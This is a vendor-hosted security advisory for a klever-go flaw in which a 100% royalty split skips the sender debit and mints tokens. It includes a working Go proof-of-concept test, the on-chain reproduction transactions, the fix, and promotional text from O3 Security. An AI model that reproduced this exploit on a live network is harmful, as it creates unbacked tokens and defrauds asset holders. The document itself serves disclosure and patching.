GHSA-v358-wf77-39xv
Fix: klever-io/klever-go@8bcc600GHSA-v358-wf77-39xv is a CWE-841 vulnerability in github.com/klever-io/klever-go. O3 Security confirms whether GHSA-v358-wf77-39xv is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-v358-wf77-39xv.
Real-World Exposure
github.com/klever-io/klever-goReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
In processPercentageRoyaltiesTransfer the royalty pool is collected from the sender by SubFromBalance that is
ordered after the split loop and after if royaltiesToPay <= 0 { return Ok }. The split-payout guard rejects
only an allocation that exceeds the pool (a strict splitToPay > royaltiesToPay), so a split entry of exactly
100% (PercentTransferPercentage = 10000) is a valid config: it drives royaltiesToPay to 0 and hits the
early-return before the sender is debited. The split recipient keeps the full royalty; the sender pays nothing
for it → mint. The sibling fixed-royalty path (processFixedRoyaltiesTransfer) debits the sender first and is
safe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after
the early-return.
Affected code
core/kapp/accounts/accounts.go—processPercentageRoyaltiesTransfer: split loop →if royaltiesToPay <= 0 { return Ok }→acntSrc.SubFromBalance(royaltyAmount)(debit after the early-return). Contrast the safeprocessFixedRoyaltiesTransfer(debit before the loop).
Impact
Unbounded self-inflation of the transferred KDA: royaltyAmount = transferValue × rate is minted to an
owner-controlled split address on every transfer of the asset, with no source debit and no supply-counter update
(off-the-books).
Reachability
Owner-gated to configure (own KDA with a TransferPercentage royalty + a 100% split). Once configured, the mint
fires on any holder's transfer of the asset — not just the owner's.
Proof of concept
Unit test
TestExploit_PercentRoyaltyZeroDebit drives the real processPercentageRoyaltiesTransfer with all relevant forks
ON (KdaFpr, EnableSmartContracts, FixMarketBuyOverflow). With a single 100% split the recipient is credited
the full royalty (40) while the sender's SubFromBalance is called 0 times (mint = 40); the 50% control case
does not early-return, the sender is debited, and value conserves.
package accounts
import (
"bytes"
"encoding/hex"
"testing"
"github.com/stretchr/testify/require"
commonMock "github.com/klever-io/klever-go/common/mock"
"github.com/klever-io/klever-go/core"
"github.com/klever-io/klever-go/core/kapp"
"github.com/klever-io/klever-go/data/block"
"github.com/klever-io/klever-go/data/state"
"github.com/klever-io/klever-go/data/transaction"
integrationMock "github.com/klever-io/klever-go/integrationTest/mock"
"github.com/klever-io/klever-go/kapps"
kvmStub "github.com/klever-io/klever-go/kvm/mock/stub"
)
// TestExploit_PercentRoyaltyZeroDebit proves the zero-debit mint:
// processPercentageRoyaltiesTransfer credits the split recipient
// inside the loop, then hits `if royaltiesToPay <= 0 { return Ok }` BEFORE the
// sender's `acntSrc.SubFromBalance(royaltyAmount, ...)`. A single VALID split
// entry of exactly 100% (PercentTransferPercentage = 10000) drives royaltiesToPay
// to 0 and skips the debit => the recipient keeps royaltyAmount, the sender pays
// nothing => mint. The sibling fixed path debits FIRST, so the 50% contrast case
// (which does NOT early-return) confirms the debit fires and value is conserved.
func TestExploit_PercentRoyaltyZeroDebit(t *testing.T) {
const (
assetIDStr = "FUNGI-1234"
transferValue = int64(800)
royaltyRatePct = uint32(500) // 5%
royaltyAmount = int64(40) // 800 * 5% = 40
)
assetID := []byte(assetIDStr)
// 32-byte, non-zero-prefixed => not a smart-contract address, so the royalty
// path is not short-circuited by core.IsSmartContractAddress.
senderAddr := bytes.Repeat([]byte{0x11}, 32)
// Split recipient address must be a valid hex string (computeSplitRoyalties
// hex-decodes the map key).
recipientAddr := bytes.Repeat([]byte{0x22}, 32)
recipientKey := hex.EncodeToString(recipientAddr)
royaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32)
buildKDA := func(splitPercent uint32) *kapps.KDAData {
return &kapps.KDAData{
AssetType: kapps.KDAData_Fungible,
OwnerAddress: senderAddr,
Royalties: &kapps.RoyaltiesData{
Address: royaltyReceiverAddr,
TransferPercentage: []*kapps.RoyaltyData{
{Amount: 1000, Percentage: royaltyRatePct},
},
SplitRoyalties: map[string]*kapps.RoyaltySplitData{
recipientKey: {PercentTransferPercentage: splitPercent},
},
},
}
}
type runResult struct {
subFromCalls int
subFromAmount int64
addToRecipient int64
addToOwnerRem int64
resCode transaction.Transaction_TXResultCode
err error
}
run := func(t *testing.T, splitPercent uint32) runResult {
t.Helper()
res := runResult{}
// Sender: track whether/what the royalty debit hits. Holds plenty of the asset.
acntSrc := &commonMock.UserAccountHandlerStub{
AddressBytesCalled: func() []byte { return senderAddr },
GetBalanceCalled: func(_ []byte, _ bool) int64 { return 1_000_000 },
SubFromBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
res.subFromCalls++
res.subFromAmount += value
return nil
},
}
// Destination is irrelevant to the royalty pool accounting here.
acntDst := &commonMock.UserAccountHandlerStub{
AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
}
// Split recipient: capture the credit it receives.
splitRecipient := &commonMock.UserAccountHandlerStub{
AddressBytesCalled: func() []byte { return recipientAddr },
AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
res.addToRecipient += value
return nil
},
}
// Owner-remainder receiver (only credited when the path does NOT early-return).
royaltyReceiver := &commonMock.UserAccountHandlerStub{
AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
res.addToOwnerRem += value
return nil
},
}
cacher := &commonMock.AccountsCacherStub{
LoadUserCalled: func(address []byte) (state.UserAccountHandler, error) {
if bytes.Equal(address, recipientAddr) {
return splitRecipient, nil
}
if bytes.Equal(address, royaltyReceiverAddr) {
return royaltyReceiver, nil
}
return acntSrc, nil
},
GetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) {
return royaltyReceiver, nil
},
UpdateUserCalled: func(_ state.AccountHandler) error { return nil },
}
// All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts
// (overflow-checked percentage math), and FixMarketBuyOverflow so the
// fix-branch payout guard `splitToPay > royaltiesToPay` is ACTIVE.
fc := &integrationMock.ForkControllerStub{
KdaFprCalled: func() bool { return true },
EnableSmartContractsCalled: func() bool { return true },
FixMarketBuyOverflowCalled: func() bool { return true },
}
kappController := &kvmStub.KAppControllerStub{
GetCurrentKAppContextCalled: func() kapp.KappContext {
return kapp.NewKappContext(kapp.ArgsNewKAppContext{
OriginalSender: senderAddr,
ContractID: 0,
ContractType: transaction.TXContract_TransferContractType,
Block: &block.Block{},
})
},
}
a := &accountsKapp{
accountsCacher: cacher,
forkController: fc,
KAppController: kappController,
}
tc := &transaction.TransferContract{
Amount: transferValue,
KDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429)
}
kda := buildKDA(splitPercent)
res.resCode, res.err = a.processPercentageRoyaltiesTransfer(
tc, assetID, nil, acntSrc, acntDst, kda,
)
return res
}
// ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ----
t.Run("split_100pct_mints", func(t *testing.T) {
r := run(t, core.HundredPercent) // 10000 == exactly 100%, a VALID config
require.NoError(t, r.err)
require.Equal(t, transaction.Transaction_Ok, r.resCode)
credited := r.addToRecipient
debited := r.subFromAmount
mintDelta := credited - debited
t.Logf("[100%% case] split recipient credited (AddToBalance) = %d", credited)
t.Logf("[100%% case] sender royalty-debit calls (SubFromBalance) = %d", r.subFromCalls)
t.Logf("[100%% case] sender royalty amount debited = %d", debited)
t.Logf("[100%% case] owner-remainder credited = %d", r.addToOwnerRem)
t.Logf("[100%% case] MINT delta (credited - debited) = %d", mintDelta)
// (1) split recipient WAS credited the full royaltyAmount (> 0).
require.Equal(t, royaltyAmount, credited,
"split recipient must receive the full royalty pool")
require.Greater(t, credited, int64(0))
// (2) the sender's royalty debit was NEVER called -> value created.
require.Equal(t, 0, r.subFromCalls,
"BUG CONFIRMED: SubFromBalance (sender royalty debit) was skipped by the <=0 early-return")
require.Equal(t, int64(0), debited)
// credited > debited => mint of royaltyAmount.
require.Equal(t, royaltyAmount, mintDelta,
"fix is INCOMPLETE: %d of %s minted (recipient credited, sender never debited)",
mintDelta, assetIDStr)
})
// ---- 50% split contrast: NO early-return, sender IS debited -> conserved. ----
t.Run("split_50pct_conserves", func(t *testing.T) {
r := run(t, core.HundredPercent/2) // 5000 == 50%
require.NoError(t, r.err)
require.Equal(t, transaction.Transaction_Ok, r.resCode)
credited := r.addToRecipient + r.addToOwnerRem
debited := r.subFromAmount
t.Logf("[50%% case] split recipient credited = %d", r.addToRecipient)
t.Logf("[50%% case] owner-remainder credited = %d", r.addToOwnerRem)
t.Logf("[50%% case] total credited = %d", credited)
t.Logf("[50%% case] sender royalty-debit calls = %d", r.subFromCalls)
t.Logf("[50%% case] sender royalty amount debited = %d", debited)
t.Logf("[50%% case] net (credited - debited) = %d (0 => conserved)", credited-debited)
// Sender IS debited the full royalty pool exactly once.
require.Equal(t, 1, r.subFromCalls,
"sibling path: at <100%% the early-return does NOT fire, so the sender royalty debit runs")
require.Equal(t, royaltyAmount, debited)
// Split (20) + owner remainder (20) == debited (40): value conserved.
require.Equal(t, royaltyAmount/2, r.addToRecipient)
require.Equal(t, royaltyAmount/2, r.addToOwnerRem)
require.Equal(t, debited, credited, "50%% case conserves: total credited == debited")
})
}
</details>
On-chain reproduction (live single-node localnet)
Asset F07-3NG3 was created with a 10% transfer royalty (percentage: 1000) and a single 100% split
(percentTransferPercentage: 10000) to address R (klv1qeh4py4…qcv2xjm). A transfer of 100,000,000,000 units
(with kdaRoyalties = 10,000,000,000, i.e. the 10% pool) then produced two credit receipts: the recipient gets
the 100,000,000,000 transfer, and R is credited the 10,000,000,000 royalty — while the sender was debited
only the transfer amount, never the royalty. Net: 10,000 F07 created on the transfer.
{
"hash": "ec2a8e8d17136986756141f598f869803528ab12840416671b09622eaf12bc7f",
"blockNum": 104,
"status": "success",
"resultCode": "Ok",
"chainID": "420420",
"contract": [
{
"type": 1,
"typeString": "CreateAssetContractType",
"parameter": {
"type": "Fungible",
"name": "Finding07",
"ticker": "F07",
"precision": 6,
"initialSupply": 1000000000000,
"maxSupply": 0,
"royalties": {
"address": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
"transferPercentage": [
{ "percentage": 1000 }
],
"splitRoyalties": [
{
"address": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
"percentTransferPercentage": 10000
}
]
}
}
}
]
}
</details>
<details><summary>Transfer tx — royalty pool 10,000,000,000 credited to <code>R</code> with no source debit (hash <code>37527757…bf3706b1</code>)</summary>
{
"hash": "37527757b10dcf968b86cc3c0abf971c70e81aef0348b4a5b7d4ccc1bf3706b1",
"blockNum": 120,
"status": "success",
"resultCode": "Ok",
"chainID": "420420",
"receipts": [
{
"assetId": "F07-3NG3",
"from": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
"to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
"type": 0,
"typeString": "Transfer",
"value": 10000000000
},
{
"assetId": "F07-3NG3",
"from": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
"to": "klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa",
"type": 0,
"typeString": "Transfer",
"value": 100000000000
}
],
"contract": [
{
"type": 0,
"typeString": "TransferContractType",
"parameter": {
"assetId": "F07-3NG3",
"toAddress": "klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa",
"amount": 100000000000,
"kdaRoyalties": 10000000000
}
}
]
}
</details>
Remediation
Reorder so the royalty pool is debited from the sender before the split distribution, mirroring
processFixedRoyaltiesTransfer:
err := acntSrc.SubFromBalance(royaltyAmount, assetID, ...) // debit FIRST
// ... then the split loop and `if royaltiesToPay <= 0 { return Ok }` (now only skips a zero owner-remainder)
Add the unit test above as a regression guard. Consensus-affecting → gate behind the next activation flag.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/klever-io/klever-go | all versions | 1.7.19-rc4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/klever-io/klever-go. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/klever-io/klever-go to 1.7.19-rc4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v358-wf77-39xv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-v358-wf77-39xv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-v358-wf77-39xv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-v358-wf77-39xv in your dependencies?
O3 detects GHSA-v358-wf77-39xv across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.